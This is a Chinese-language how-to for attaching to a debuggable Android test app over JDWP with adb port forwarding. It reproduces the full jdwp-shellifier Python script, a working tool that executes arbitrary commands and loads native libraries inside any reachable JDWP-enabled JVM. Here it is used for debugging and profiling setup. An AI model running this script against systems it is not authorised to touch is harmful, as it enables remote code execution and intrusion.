使用jdwp-shellifier来Attach app并继续运行
将app设置为Waiting For Debugger
① 仅标记app下次启动等待debugger
adb shell am set-debug-app -w com.tencent.mf.mytest1
② 标记app每次启动等待debugger
拉起app进程
adb shell monkey -p com.tencent.mf.mytest1 -c android.intent.category.LAUNCHER 1
拿到 jdwp id，并做端口转发，用于传输数据
adb jdwp // 返回jdwp id : xxxx adb forward tcp:8700 jdwp:xxxx
Attach app，然后继续运行
<ndk>\android-ndk-r21c\prebuilt\windows-x86_64\bin\python.exe jdwp-shellifier.py --target 127.0.0.1 --port 8700 --break-on android.app.Activity.onResume
注：jdwp-shellifier.py需使用phthon2来执行。<ndk>\android-ndk-r21c\prebuilt\windows-x86_64\bin\python.exe的版本为2.7.5
jdwp-shellifier为一个使用JDWP服务来执行远程代码的python脚本。具体用法可查看：https://github.com/IOActive/jdwp-shellifier/
整体架构如下
本文使用的jdwp-shellifier.py版本
#!/usr/bin/python ################################################################################ # # Universal JDWP shellifier # # @_hugsy_ # # And special cheers to @lanjelot # # loadlib option by @ikoz # import argparse import json import logging import logging.config import os import socket import struct import sys import time import traceback import urllib ################################################################################ # # JDWP protocol variables # HANDSHAKE = "JDWP-Handshake" REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 # Command signatures VERSION_SIG = (1, 1) CLASSESBYSIGNATURE_SIG = (1, 2) ALLCLASSES_SIG = (1, 3) ALLTHREADS_SIG = (1, 4) IDSIZES_SIG = (1, 7) CREATESTRING_SIG = (1, 11) SUSPENDVM_SIG = (1, 8) RESUMEVM_SIG = (1, 9) SIGNATURE_SIG = (2, 1) FIELDS_SIG = (2, 4) METHODS_SIG = (2, 5) GETVALUES_SIG = (2, 6) CLASSOBJECT_SIG = (2, 11) INVOKESTATICMETHOD_SIG = (3, 3) REFERENCETYPE_SIG = (9, 1) INVOKEMETHOD_SIG = (9, 6) STRINGVALUE_SIG = (10, 1) THREADNAME_SIG = (11, 1) THREADSUSPEND_SIG = (11, 2) THREADRESUME_SIG = (11, 3) THREADSTATUS_SIG = (11, 4) EVENTSET_SIG = (15, 1) EVENTCLEAR_SIG = (15, 2) EVENTCLEARALL_SIG = (15, 3) # Other codes MODKIND_COUNT = 1 MODKIND_THREADONLY = 2 MODKIND_CLASSMATCH = 5 MODKIND_LOCATIONONLY = 7 EVENT_BREAKPOINT = 2 SUSPEND_EVENTTHREAD = 1 SUSPEND_ALL = 2 NOT_IMPLEMENTED = 99 VM_DEAD = 112 INVOKE_SINGLE_THREADED = 2 TAG_OBJECT = 76 TAG_STRING = 115 TYPE_CLASS = 1 ################################################################################ # # JDWP client class # class JDWPClient: def __init__(self, host, port=8000): self.host = host self.port = port self.methods = {} self.fields = {} self.id = 0x01 self.socket = None self.classes = [] self.threads = [] def create_packet(self, cmd_sig, data=""): flags = 0x00 cmd_set, cmd = cmd_sig pkt_len = len(data) + 11 pkt = struct.pack(">IIccc", pkt_len, self.id, chr(flags), chr(cmd_set), chr(cmd)) pkt += data self.id += 2 return pkt def read_reply(self): header = self.socket.recv(11) pkt_len, id, flags, errcode = struct.unpack(">IIcH", header) if flags == chr(REPLY_PACKET_TYPE): if errcode: logger.error("Received errcode %d" % errcode) raise Exception("Received errcode %d" % errcode) buf = "" while len(buf) + 11 < pkt_len: data = self.socket.recv(1024) if len(data): buf += data else: time.sleep(1) return buf def parse_entries(self, buf, formats, explicit=True): entries = [] index = 0 if explicit: nb_entries = struct.unpack(">I", buf[:4])[0] buf = buf[4:] else: nb_entries = 1 for i in range(nb_entries): data = {} for fmt, name in formats: if fmt == "L" or fmt == 8: data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0]) index += 8 elif fmt == "I" or fmt == 4: data[name] = int(struct.unpack(">I", buf[index:index + 4])[0]) index += 4 elif fmt == 'S': l = struct.unpack(">I", buf[index:index + 4])[0] data[name] = buf[index + 4:index + 4 + l] index += 4 + l elif fmt == 'C': data[name] = ord(struct.unpack(">c", buf[index])[0]) index += 1 elif fmt == 'Z': t = ord(struct.unpack(">c", buf[index])[0]) if t == 115: s = self.solve_string(buf[index + 1:index + 9]) data[name] = s index += 9 elif t == 73: data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0] buf = struct.unpack(">I", buf[index + 5:index + 9]) index = 0 else: logger.error("error") sys.exit(1) entries.append(data) return entries def format(self, fmt, value): if fmt == "L" or fmt == 8: return struct.pack(">Q", value) elif fmt == "I" or fmt == 4: return struct.pack(">I", value) logger.error("Unknown format") raise Exception("Unknown format") def unformat(self, fmt, value): if fmt == "L" or fmt == 8: return struct.unpack(">Q", value[:8])[0] elif fmt == "I" or fmt == 4: return struct.unpack(">I", value[:4])[0] else: logger.error("Unknown format") raise Exception("Unknown format") def start(self): self.handshake(self.host, self.port) self.id_sizes() self.get_version() self.all_classes() def handshake(self, host, port): s = socket.socket() try: s.connect((host, port)) except socket.error as msg: logger.error("Failed to connect: %s" % msg) raise Exception("Failed to connect: %s" % msg) s.send(HANDSHAKE) if s.recv(len(HANDSHAKE)) != HANDSHAKE: logger.error("Failed to handshake, Please close AndroidStudio, UE4 and other programs that may occupy ADB before using this program") raise Exception("Failed to handshake") else: self.socket = s def leave(self): self.socket.close() def get_version(self): self.socket.sendall(self.create_packet(VERSION_SIG)) buf = self.read_reply() formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), ('S', "vmVersion"), ('S', "vmName"), ] for entry in self.parse_entries(buf, formats, False): for name, value in entry.iteritems(): setattr(self, name, value) @property def version(self): return "%s - %s" % (self.vmName, self.vmVersion) def id_sizes(self): self.socket.sendall(self.create_packet(IDSIZES_SIG)) buf = self.read_reply() formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), ("I", "referenceTypeIDSize"), ("I", "frameIDSize")] for entry in self.parse_entries(buf, formats, False): for name, value in entry.iteritems(): setattr(self, name, value) def all_threads(self): try: getattr(self, "threads") except Exception as e: logger.error(e) self.socket.sendall(self.create_packet(ALLTHREADS_SIG)) buf = self.read_reply() formats = [(self.objectIDSize, "threadId")] self.threads = self.parse_entries(buf, formats) def get_thread_by_name(self, name): self.all_threads() for t in self.threads: thread_id = self.format(self.objectIDSize, t["threadId"]) self.socket.sendall(self.create_packet(THREADNAME_SIG, data=thread_id)) buf = self.read_reply() if len(buf) and name == self.readstring(buf): return t return None def all_classes(self): self.socket.sendall(self.create_packet(ALLCLASSES_SIG)) buf = self.read_reply() logger.error(buf) formats = [('C', "refTypeTag"), (self.referenceTypeIDSize, "refTypeId"), ('S', "signature"), ('I', "status")] self.classes = self.parse_entries(buf, formats) return self.classes def get_class_by_name(self, name): for entry in self.classes: if entry["signature"].lower() == name.lower(): return entry return None def get_methods(self, ref_type_id): if not self.methods.has_key(ref_type_id): ref_id = self.format(self.referenceTypeIDSize, ref_type_id) self.socket.sendall(self.create_packet(METHODS_SIG, data=ref_id)) buf = self.read_reply() formats = [(self.methodIDSize, "methodId"), ('S', "name"), ('S', "signature"), ('I', "modBits")] self.methods[ref_type_id] = self.parse_entries(buf, formats) return self.methods[ref_type_id] def get_method_by_name(self, name): for ref_id in self.methods.keys(): for entry in self.methods[ref_id]: if entry["name"].lower() == name.lower(): return entry return None def get_file_id(self, ref_type_id): if not self.fields.has_key(refTypeId): ref_id = self.format(self.referenceTypeIDSize, ref_type_id) self.socket.sendall(self.create_packet(FIELDS_SIG, data=ref_id)) buf = self.read_reply() formats = [(self.fieldIDSize, "fieldId"), ('S', "name"), ('S', "signature"), ('I', "modbits")] self.fields[ref_type_id] = self.parse_entries(buf, formats) return self.fields[ref_type_id] def get_value(self, ref_type_id, field_id): data = self.format(self.referenceTypeIDSize, ref_type_id) data += struct.pack(">I", 1) data += self.format(self.fieldIDSize, field_id) self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data)) buf = self.read_reply() formats = [("Z", "value")] field = self.parse_entries(buf, formats)[0] return field def create_string(self, data): buf = self.buildstring(data) self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf)) buf = self.read_reply() return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) def buildstring(self, data): return struct.pack(">I", len(data)) + data def readstring(self, data): size = struct.unpack(">I", data[:4])[0] return data[4:4 + size] def suspendvm(self): self.socket.sendall(self.create_packet(SUSPENDVM_SIG)) self.read_reply() return def resume_vm(self): self.socket.sendall(self.create_packet(RESUMEVM_SIG)) self.read_reply() return def invoke_static(self, class_id, thread_id, method_id, *args): data = self.format(self.referenceTypeIDSize, class_id) data += self.format(self.objectIDSize, thread_id) data += self.format(self.methodIDSize, method_id) data += struct.pack(">I", len(args)) for arg in args: data += arg data += struct.pack(">I", 0) self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) buf = self.read_reply() return buf def invoke(self, obj_id, thread_id, class_id, method_id, *args): data = self.format(self.objectIDSize, obj_id) data += self.format(self.objectIDSize, thread_id) data += self.format(self.referenceTypeIDSize, class_id) data += self.format(self.methodIDSize, method_id) data += struct.pack(">I", len(args)) for arg in args: data += arg data += struct.pack(">I", 0) self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) buf = self.read_reply() return buf def invoke_void(self, obj_id, thread_id, class_id, method_id, *args): data = self.format(self.objectIDSize, obj_id) data += self.format(self.objectIDSize, thread_id) data += self.format(self.referenceTypeIDSize, class_id) data += self.format(self.methodIDSize, method_id) data += struct.pack(">I", len(args)) for arg in args: data += arg data += struct.pack(">I", 0) self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) buf = None return buf def solve_string(self, obj_id): self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=obj_id)) buf = self.read_reply() if len(buf): return self.readstring(buf) else: return "" def query_thread(self, thread_id, kind): data = self.format(self.objectIDSize, thread_id) self.socket.sendall(self.create_packet(kind, data=data)) def suspend_thread(self, thread_id): return self.query_thread(thread_id, THREADSUSPEND_SIG) def status_thread(self, thread_id): return self.query_thread(thread_id, THREADSTATUS_SIG) def resume_thread(self, thread_id): return self.query_thread(thread_id, THREADRESUME_SIG) def send_event(self, event_code, *args): data = "" data += chr(event_code) data += chr(SUSPEND_ALL) data += struct.pack(">I", len(args)) for kind, option in args: data += chr(kind) data += option self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) buf = self.read_reply() return struct.unpack(">I", buf)[0] def clear_event(self, event_code, r_id): data = chr(event_code) data += struct.pack(">I", r_id) self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data)) self.read_reply() return def clear_events(self): self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG)) self.read_reply() return def wait_for_event(self): buf = self.read_reply() return buf def parse_event_breakpoint(self, buf, event_id): num = struct.unpack(">I", buf[2:6])[0] r_id = struct.unpack(">I", buf[6:10])[0] if r_id != event_id: return None t_id = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize]) loc = -1 # don't care return r_id, t_id, loc def runtime_exec(jdwp, args): logger.info("[+] Targeting '%s:%d'" % (args.target, args.port)) logger.info("[+] Reading settings for '%s'" % jdwp.version) # 1. get Runtime class reference runtime_class = jdwp.get_class_by_name("Ljava/lang/Runtime;") if runtime_class is None: logger.error("[-] Cannot find class Runtime") return False logger.info("[+] Found Runtime class: id=%x" % runtime_class["refTypeId"]) # 2. get getRuntime() method reference jdwp.get_methods(runtime_class["refTypeId"]) runtime_method = jdwp.get_method_by_name("getRuntime") if runtime_method is None: logger.error("[-] Cannot find method Runtime.getRuntime()") return False logger.info("[+] Found Runtime.getRuntime(): id=%x" % runtime_method["methodId"]) # 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name(args.break_on_class) if c is None: logger.error("[-] Could not access class '%s'" % args.break_on_class) logger.error("[-] It is possible that this class is not used by application") logger.error("[-] Test with another one with option `--break-on`") return False jdwp.get_methods(c["refTypeId"]) m = jdwp.get_method_by_name(args.break_on_method) if m is None: logger.error("[-] Could not access method '%s'" % args.break_on) return False loc = chr(TYPE_CLASS) loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) loc += struct.pack(">II", 0, 0) data = [(MODKIND_LOCATIONONLY, loc), ] r_id = jdwp.send_event(EVENT_BREAKPOINT, *data) logger.info("[+] Created break event id=%x" % r_id) # 4. resume vm and wait for event jdwp.resume_vm() logger.info("[+] Waiting for an event on '%s'" % args.break_on) while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, r_id) if ret is not None: break r_id, t_id, loc = ret logger.info("[+] Received matching event from thread %#x" % t_id) # time.sleep(1) # jdwp.clear_event(EVENT_BREAKPOINT, r_id) # 5. Now we can execute any code if args.cmd: runtime_exec_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], args.cmd) elif args.loadlib: package_name = get_package_name(jdwp, t_id) tmp_location = "/data/local/tmp/" + args.loadlib dst_location = "/data/data/" + package_name + "/" + args.loadlib command = "cp " + tmp_location + " " + dst_location logger.info("[*] Copying library from " + tmp_location + " to " + dst_location) runtime_exec_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], command) time.sleep(2) logger.info("[*] Executing Runtime.load(" + dst_location + ")") runtime_load_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], dst_location) time.sleep(2) logger.info("[*] Library should now be loaded") else: # by default, only prints out few system properties runtime_exec_info(jdwp, tId) jdwp.resume_vm() logger.info("[!] Command successfully executed") return True def runtime_exec_info(jdwp, thread_id): # # This function calls java.lang.System.getProperties() and # displays OS properties (non-intrusive) # properties = {"java.version": "Java Runtime Environment version", "java.vendor": "Java Runtime Environment vendor", "java.vendor.url": "Java vendor URL", "java.home": "Java installation directory", "java.vm.specification.version": "Java Virtual Machine specification version", "java.vm.specification.vendor": "Java Virtual Machine specification vendor", "java.vm.specification.name": "Java Virtual Machine specification name", "java.vm.version": "Java Virtual Machine implementation version", "java.vm.vendor": "Java Virtual Machine implementation vendor", "java.vm.name": "Java Virtual Machine implementation name", "java.specification.version": "Java Runtime Environment specification version", "java.specification.vendor": "Java Runtime Environment specification vendor", "java.specification.name": "Java Runtime Environment specification name", "java.class.version": "Java class format version number", "java.class.path": "Java class path", "java.library.path": "List of paths to search when loading libraries", "java.io.tmpdir": "Default temp file path", "java.compiler": "Name of JIT compiler to use", "java.ext.dirs": "Path of extension directory or directories", "os.name": "Operating system name", "os.arch": "Operating system architecture", "os.version": "Operating system version", "file.separator": "File separator", "path.separator": "Path separator", "user.name": "User's account name", "user.home": "User's home directory", "user.dir": "User's current working directory" } system_class = jdwp.get_class_by_name("Ljava/lang/System;") if systemClass is None: logger.error("[-] Cannot find class java.lang.System") return False jdwp.get_methods(system_class["refTypeId"]) get_property_method = jdwp.get_method_by_name("getProperty") if get_property_method is None: logger.error("[-] Cannot find method System.getProperty()") return False for prop_str, prop_desc in properties.iteritems(): prop_obj_ids = jdwp.create_string(prop_str) if len(prop_obj_ids) == 0: logger.error("[-] Failed to allocate command") return False prop_obj_id = prop_obj_ids[0]["objId"] data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, prop_obj_id), ] buf = jdwp.invoke_static(systemClass["refTypeId"], thread_id, get_property_method["methodId"], *data) if buf[0] != chr(TAG_STRING): logger.info("[-] %s: Unexpected returned type: expecting String" % prop_str) else: ret_id = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) res = cli.solve_string(jdwp.format(jdwp.objectIDSize, ret_id)) logger.info("[+] Found %s '%s'" % (prop_desc, res)) return True def runtime_exec_payload(jdwp, thread_id, runtime_class_id, runtime_method_id, command): # # This function will invoke command as a payload, which will be running # with JVM privilege on host (intrusive). # logger.info("[+] Selected payload '%s'" % command) # 1. allocating string containing our command to exec() cmd_obj_ids = jdwp.create_string(command) if len(cmd_obj_ids) == 0: logger.error("[-] Failed to allocate command") return False cmd_obj_id = cmd_obj_ids[0]["objId"] logger.info("[+] Command string object created id:%x" % cmd_obj_id) # 2. use context to get Runtime object buf = jdwp.invoke_static(runtime_class_id, thread_id, runtime_method_id) if buf[0] != chr(TAG_OBJECT): logger.error("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) if rt is None: logger.error("[-] Failed to invoke Runtime.getRuntime()") return False logger.info("[+] Runtime.getRuntime() returned context id:%#x" % rt) # 3. find exec() method exec_method = jdwp.get_method_by_name("exec") if exec_method is None: logger.error("[-] Cannot find method Runtime.exec()") return False logger.info("[+] found Runtime.exec(): id=%x" % exec_method["methodId"]) # 4. call exec() in this context with the alloc-ed string data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmd_obj_id)] buf = jdwp.invoke(rt, thread_id, runtime_class_id, exec_method["methodId"], *data) if buf[0] != chr(TAG_OBJECT): logger.error("[-] Unexpected returned type: expecting Object") return False logger.info("[+] Runtime.exec() successful, retId=%x" % jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])) return True def get_package_name(jdwp, thread_id): # # This function will invoke ActivityThread.currentApplication().getPackageName() # activity_thread_class = jdwp.get_class_by_name("Landroid/app/ActivityThread;") if activity_thread_class is None: logger.error("[-] Cannot find class android.app.ActivityThread") return False context_wrapper_class = jdwp.get_class_by_name("Landroid/content/ContextWrapper;") if context_wrapper_class is None: logger.error("[-] Cannot find class android.content.ContextWrapper") return False jdwp.get_methods(activity_thread_class["refTypeId"]) jdwp.get_methods(context_wrapper_class["refTypeId"]) get_context_method = jdwp.get_method_by_name("currentApplication") if get_context_method is None: logger.error("[-] Cannot find method ActivityThread.currentApplication()") return False buf = jdwp.invoke_static( activity_thread_class["refTypeId"], thread_id, get_context_method["methodId"]) if buf[0] != chr(TAG_OBJECT): logger.error("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) if rt is None: logger.error("[-] Failed to invoke ActivityThread.currentApplication()") return False # 3. find getPackageName() method get_package_name_method = jdwp.get_method_by_name("getPackageName") if get_package_name is None: logger.error("[-] Cannot find method ActivityThread.currentApplication().getPackageName()") return False # 4. call getPackageNameMeth() buf = jdwp.invoke(rt, thread_id, context_wrapper_class["refTypeId"], get_package_name_method["methodId"]) if buf[0] != chr(TAG_STRING): logger.info("[-] %s: Unexpected returned type: expecting String") else: ret_id = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) res = cli.solve_string(jdwp.format(jdwp.objectIDSize, ret_id)) logger.info("[+] getPackageMethod(): '%s'" % res) return "%s" % res def runtime_load_payload(jdwp, thread_id, runtime_class_id, runtime_method_id, library): # # This function will run Runtime.load() with library as a payload # # print("[+] Selected payload '%s'" % library) # 1. allocating string containing our command to exec() cmd_obj_ids = jdwp.create_string(library) if len(cmd_obj_ids) == 0: logger.error("[-] Failed to allocate library string") return False cmd_obj_id = cmd_obj_ids[0]["objId"] logger.info("[+] Command string object created id:%x" % cmd_obj_id) # 2. use context to get Runtime object buf = jdwp.invoke_static(runtime_class_id, thread_id, runtime_method_id) if buf[0] != chr(TAG_OBJECT): logger.error("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) if rt is None: logger.error("[-] Failed to invoke Runtime.getRuntime()") return False # print("[+] Runtime.getRuntime() returned context id:%#x" % rt) # 3. find load() method load_method = jdwp.get_method_by_name("load") if load_method is None: logger.error("[-] Cannot find method Runtime.load()") return False # print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"]) # 4. call exec() in this context with the alloc-ed string data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmd_obj_id)] jdwp.invoke_void(rt, thread_id, runtime_class_id, load_method["methodId"], *data) logger.info("[+] Runtime.load(%s) probably successful" % library) return True def path_parse(s): i = s.rfind('.') if i == -1: logger.error('Cannot parse path') sys.exit(1) return 'L' + s[:i].replace('.', '/') + ';', s[i:][1:] def setup_logging(default_path='logging.json', default_level=logging.INFO): if os.path.exists(default_path): with open(default_path, 'r') as f: config = json.load(f) logging.config.dictConfig(config) else: logging.basicConfig(level=default_level) return logging.getLogger('jdwp') if __name__ == "__main__": logger = setup_logging(default_path=os.path.join(os.getcwd(), 'logging.json')) if sys.version > '3': logger.error("Currently only supports python2!") parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on") parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", help="Specify command to execute remotely") parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME", help="Specify library to inject into process load") args = parser.parse_args() class_name, method_name = path_parse(args.break_on) setattr(args, "break_on_class", class_name) setattr(args, "break_on_method", method_name) ret_code = 0 try: cli = JDWPClient(args.target, args.port) cli.start() if not runtime_exec(cli, args): logger.error("[-] Exploit failed") ret_code = 1 except KeyboardInterrupt: logger.error("[+] Exiting on user's request") except Exception as e: logger.error("[-] Exception: %s" % e) traceback.print_exc() ret_code = 1 cli = None finally: if cli: cli.leave() sys.exit(ret_code)
参考
github:loli_profiler(jdwp-shellifier.py)
Library injection for debuggable Android apps
